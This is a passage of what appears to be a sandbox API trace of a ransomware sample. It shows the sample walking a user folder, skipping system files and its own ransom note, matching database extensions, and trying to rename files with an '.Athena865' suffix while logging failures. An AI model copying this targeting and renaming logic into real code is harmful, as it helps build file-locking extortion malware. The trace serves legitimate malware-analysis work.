lpString2="^^^") returned 1 [0049.453] lstrlenW (lpString="abs") returned 3 [0049.454] lstrcmpiW (lpString1="OG2", lpString2="abs") returned 1 [0049.454] lstrlenW (lpString="abx") returned 3 [0049.454] lstrcmpiW (lpString1="OG2", lpString2="abx") returned 1 [0049.454] lstrlenW (lpString="accdb") returned 5 [0049.454] lstrcmpiW (lpString1=".LOG2", lpString2="accdb") returned -1 [0049.454] lstrlenW (lpString="accdc") returned 5 [0049.454] lstrcmpiW (lpString1=".LOG2", lpString2="accdc") returned -1 [0049.454] lstrlenW (lpString="accde") returned 5 [0049.454] lstrcmpiW (lpString1=".LOG2", lpString2="accde") returned -1 [0049.454] lstrlenW (lpString="accdr") returned 5 [0049.454] lstrcmpiW (lpString1=".LOG2", lpString2="accdr") returned -1 [0049.454] lstrlenW (lpString="accdt") returned 5 [0049.454] lstrcmpiW (lpString1=".LOG2", lpString2="accdt") returned -1 [0049.454] lstrlenW (lpString="accdw") returned 5 [0049.454] lstrcmpiW (lpString1=".LOG2", lpString2="accdw") returned -1 [0049.454] lstrlenW (lpString="accft") returned 5 [0049.454] lstrcmpiW (lpString1=".LOG2", lpString2="accft") returned -1 [0049.454] lstrlenW (lpString="adb") returned 3 [0049.454] lstrcmpiW (lpString1="OG2", lpString2="adb") returned 1 [0049.454] lstrlenW (lpString="adb") returned 3 [0049.454] lstrcmpiW (lpString1="OG2", lpString2="adb") returned 1 [0049.454] lstrlenW (lpString="ade") returned 3 [0049.454] lstrcmpiW (lpString1="OG2", lpString2="ade") returned 1 [0049.454] lstrlenW (lpString="adf") returned 3 [0049.454] lstrcmpiW (lpString1="OG2", lpString2="adf") returned 1 [0049.454] lstrlenW (lpString="adn") returned 3 [0049.454] lstrcmpiW (lpString1="OG2", lpString2="adn") returned 1 [0049.454] lstrlenW (lpString="adp") returned 3 [0049.454] lstrcmpiW (lpString1="OG2", lpString2="adp") returned 1 [0049.455] lstrlenW (lpString="alf") returned 3 [0049.455] lstrcmpiW (lpString1="OG2", lpString2="alf") returned 1 [0049.455] lstrlenW (lpString="ask") returned 3 [0049.455] lstrcmpiW (lpString1="OG2", lpString2="ask") returned 1 [0049.455] lstrlenW (lpString="btr") returned 3 [0049.455] lstrcmpiW (lpString1="OG2", lpString2="btr") returned 1 [0049.455] lstrlenW (lpString="cat") returned 3 [0049.455] lstrcmpiW (lpString1="OG2", lpString2="cat") returned 1 [0049.455] lstrlenW (lpString="cdb") returned 3 [0049.455] lstrcmpiW (lpString1="OG2", lpString2="cdb") returned 1 [0049.455] lstrlenW (lpString="ckp") returned 3 [0049.455] lstrcmpiW (lpString1="OG2", lpString2="ckp") returned 1 [0049.455] lstrlenW (lpString="cma") returned 3 [0049.455] lstrcmpiW (lpString1="OG2", lpString2="cma") returned 1 [0049.455] lstrlenW (lpString="cpd") returned 3 [0049.455] lstrcmpiW (lpString1="OG2", lpString2="cpd") returned 1 [0049.455] lstrlenW (lpString="dacpac") returned 6 [0049.455] lstrcmpiW (lpString1="t.LOG2", lpString2="dacpac") returned 1 [0049.455] lstrlenW (lpString="dad") returned 3 [0049.455] lstrcmpiW (lpString1="OG2", lpString2="dad") returned 1 [0049.455] lstrlenW (lpString="dadiagrams") returned 10 [0049.455] lstrcmpiW (lpString1="r.dat.LOG2", lpString2="dadiagrams") returned 1 [0049.455] lstrlenW (lpString="daschema") returned 8 [0049.455] lstrcmpiW (lpString1="dat.LOG2", lpString2="daschema") returned 1 [0049.455] lstrlenW (lpString="db-journal") returned 10 [0049.455] lstrcmpiW (lpString1="r.dat.LOG2", lpString2="db-journal") returned 1 [0049.455] lstrlenW (lpString="db-shm") returned 6 [0049.455] lstrcmpiW (lpString1="t.LOG2", lpString2="db-shm") returned 1 [0049.455] lstrlenW (lpString="db-wal") returned 6 [0049.455] lstrcmpiW (lpString1="t.LOG2", lpString2="db-wal") returned 1 [0049.455] lstrlenW (lpString="dbc") returned 3 [0049.455] lstrcmpiW (lpString1="OG2", lpString2="dbc") returned 1 [0049.455] lstrlenW (lpString="dbs") returned 3 [0049.455] lstrcmpiW (lpString1="OG2", lpString2="dbs") returned 1 [0049.456] lstrlenW (lpString="dbt") returned 3 [0049.456] lstrcmpiW (lpString1="OG2", lpString2="dbt") returned 1 [0049.456] lstrlenW (lpString="dbv") returned 3 [0049.456] lstrcmpiW (lpString1="OG2", lpString2="dbv") returned 1 [0049.456] lstrlenW (lpString="dbx") returned 3 [0049.456] lstrcmpiW (lpString1="OG2", lpString2="dbx") returned 1 [0049.456] lstrlenW (lpString="dcb") returned 3 [0049.456] lstrcmpiW (lpString1="OG2", lpString2="dcb") returned 1 [0049.456] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2.Athena865") returned 55 [0049.456] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log2"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2.Athena865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log2.athena865"), dwFlags=0x1) returned 0 [0049.456] GetLastError () returned 0x20 [0049.456] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2 MoveFileEx error 32\r\n") returned 75 [0049.456] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2 MoveFileEx error 32\r\n") returned 75 [0049.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0049.456] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1b38 [0049.456] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x4b, lpOverlapped=0x0) returned 1 [0049.456] CloseHandle (hObject=0x17c) returned 1 [0049.457] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0049.457] CloseHandle (hObject=0x0) returned 0 [0049.457] CloseHandle (hObject=0x0) returned 0 [0049.457] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".") returned 1 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="..") returned 1 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="windows") returned -1 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="bootmgr") returned 1 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="temp") returned -1 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="pagefile.sys") returned -1 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="boot") returned 1 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="ids.txt") returned 1 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="ntuser.dat") returned 1 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="perflogs") returned -1 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="MSBuild") returned 1 [0049.457] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55 [0049.457] lstrcpyW (in: lpString1=0x241e884, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" [0049.457] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55 [0049.457] lstrlenW (lpString="Athena865") returned 9 [0049.457] lstrcmpiW (lpString1="c}.TM.blf", lpString2="Athena865") returned 1 [0049.457] lstrlenW (lpString=".dll") returned 4 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".dll") returned 1 [0049.457] lstrlenW (lpString=".lnk") returned 4 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".lnk") returned 1 [0049.457] lstrlenW (lpString=".ini") returned 4 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".ini") returned 1 [0049.457] lstrlenW (lpString=".sys") returned 4 [0049.457] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".sys") returned 1 [0049.457] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55 [0049.458] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865") returned 95 [0049.458] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf.athena865"), dwFlags=0x1) returned 0 [0049.458] GetLastError () returned 0x20 [0049.458] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf MoveFileEx error 32\r\n") returned 115 [0049.458] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf MoveFileEx error 32\r\n") returned 115 [0049.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0049.458] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1b83 [0049.458] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x73, lpOverlapped=0x0) returned 1 [0049.458] CloseHandle (hObject=0x17c) returned 1 [0049.458] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0049.458] CloseHandle (hObject=0x0) returned 0 [0049.458] CloseHandle (hObject=0x0) returned 0 [0049.458] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0049.458] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.458] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.458] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0049.458] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0049.458] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="windows") returned -1 [0049.458] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="bootmgr") returned 1 [0049.458] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="temp") returned -1 [0049.458] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="pagefile.sys") returned -1 [0049.459] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="boot") returned 1 [0049.459] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="ids.txt") returned 1 [0049.459] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="ntuser.dat") returned 1 [0049.459] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="perflogs") returned -1 [0049.459] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="MSBuild") returned 1 [0049.459] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92 [0049.459] lstrcpyW (in: lpString1=0x241e884, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" [0049.459] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92 [0049.459] lstrlenW (lpString="Athena865") returned 9 [0049.459] lstrcmpiW (lpString1="gtrans-ms", lpString2="Athena865") returned 1 [0049.459] lstrlenW (lpString=".dll") returned 4 [0049.459] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".dll") returned 1 [0049.459] lstrlenW (lpString=".lnk") returned 4 [0049.459] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".lnk") returned 1 [0049.459] lstrlenW (lpString=".ini") returned 4 [0049.459] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".ini") returned 1 [0049.459] lstrlenW (lpString=".sys") returned 4 [0049.459] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".sys") returned 1 [0049.459] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92 [0049.459] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865") returned 132 [0049.459] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms.athena865"), dwFlags=0x1) returned 0 [0049.459] GetLastError () returned 0x20 [0049.459] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms MoveFileEx error 32\r\n") returned 152 [0049.459] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms MoveFileEx error 32\r\n") returned 152 [0049.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0049.459] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1bf6 [0049.460] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x98, lpOverlapped=0x0) returned 1 [0049.460] CloseHandle (hObject=0x17c) returned 1 [0049.460] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0049.460] CloseHandle (hObject=0x0) returned 0 [0049.460] CloseHandle (hObject=0x0) returned 0 [0049.460] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="windows") returned -1 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="bootmgr") returned 1 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="temp") returned -1 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="pagefile.sys") returned -1 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="boot") returned 1 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="ids.txt") returned 1 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="ntuser.dat") returned 1 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="perflogs") returned -1 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="MSBuild") returned 1 [0049.460] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92 [0049.460] lstrcpyW (in: lpString1=0x241e884, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" [0049.460] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92 [0049.460] lstrlenW (lpString="Athena865") returned 9 [0049.460] lstrcmpiW (lpString1="gtrans-ms", lpString2="Athena865") returned 1 [0049.460] lstrlenW (lpString=".dll") returned 4 [0049.460] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".dll") returned 1 [0049.460] lstrlenW (lpString=".lnk") returned 4 [0049.461] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".lnk") returned 1 [0049.461] lstrlenW (lpString=".ini") returned 4 [0049.461] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".ini") returned 1 [0049.461] lstrlenW (lpString=".sys") returned 4 [0049.461] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".sys") returned 1 [0049.461] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92 [0049.461] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865") returned 132 [0049.461] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms.athena865"), dwFlags=0x1) returned 0 [0049.461] GetLastError () returned 0x20 [0049.461] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms MoveFileEx error 32\r\n") returned 152 [0049.461] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms MoveFileEx error 32\r\n") returned 152 [0049.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0049.461] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) 